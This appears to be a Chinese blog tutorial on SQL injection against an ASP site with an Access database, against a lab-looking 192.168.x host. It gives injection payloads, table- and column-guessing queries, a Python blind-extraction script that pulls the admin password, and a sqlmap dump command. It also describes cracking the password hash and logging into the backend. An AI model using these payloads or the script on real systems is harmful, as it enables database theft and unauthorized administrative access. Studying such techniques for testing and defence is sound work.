一次Access注入

0x00:前言

一次Access数据库注入,微软办公软件-关系数据库管理系统

针对AccessAsp注入的脚本:https://www.cnblogs.com/liqik/p/12353964.html

0x01:一般注入流程

(1)判断注入

 1.在参数后面加  ‘     、  and 1=1   和   and 1=2,判断是否存在注入点

错误的

 所以这里存在注入

 (2)猜解列名(字段)数

结果:22列 

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin (联合查询爆显位)

(3)猜解数据库相关信息

Access注入是暴力破解,Access没有库的概念

Access数据结构:

Access数据库

  表名

    列名

      数据

Mysql数据库的数据结构:

数据库A    =  网站A

       表名

    列名

      数据

数据库B   =   网站B

  表名

    列名

      数据

数据库C

  .......

如何判断数据库类型?

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

若数据库是MSS,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

猜解表名

and exists(select * from 表名)

and (select count(*) from 表名)>=0

这里的表名自己猜,一般有admin、adminstrator。。。。

猜解字段名

and exists(select 字段名 from 表名)

and (select count(字段名) from 表名)>=0

常用字段名  username   password   admin  id  。。。。。

猜解字段内容

字段长度:and (select top 1 len(字段名) from 表名)=长度 (解释:top  1  表示admin字段的第一条记录,二分法测试长度)

字段内容:and (select top 1 asc(mid(字段名,1,1))from 表名)=ASCII码  (解释:字段名的第一条记录的第一个字母的ASCII码)

 1.  手动一个一个试就可以

2.   脚本:

# -*- coding:UTF-8 -*-
import requests
import string

url = "http://192.168.109.142:8001/Production/PRODUCT_DETAIL.asp?id=1513"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation #字符

def getcolumnlen():
    for i in range(1,30):
        target = url + "and (select top 1 len(password) from admin) = " + str(i) #字段名password
        r = requests.get(target)
        r.encoding = 'gb2312'
        if "工作服" in r.text:
            print("第一个字段长度:" + str(i))
            return i

def getmsg(len):
    result = ""
    for i in range(1,len+1):
        for j in range(48,127):
            target = url + "and (select top 1 asc(mid(password,{0},1)) from admin)= {1}".format(str(i),str(j))
            r2 = requests.get(target)
            r2.encoding = 'gb2312'
            if "工作服" in r2.text: #这里只要选择正常返回的一个页面关键词就可以,比如“工作服”
                result += chr(j)
                print(result)

l = getcolumnlen()
getmsg(l)

3.  用Burp的爆破模块也可以爆破

密码md5解密得bendss

扫一下后台登录网址

登录后台

 (4)这里还可以sqlmap

python2 sqlmap.py -u "URL" -T "admin" -C "id,password,login_count" --dump

0x03:总结

Access数据库的注入,还是和mysql有点不一样的,刚开始弄了半天的数据库名

原文地址:https://www.cnblogs.com/liqik/p/12333378.html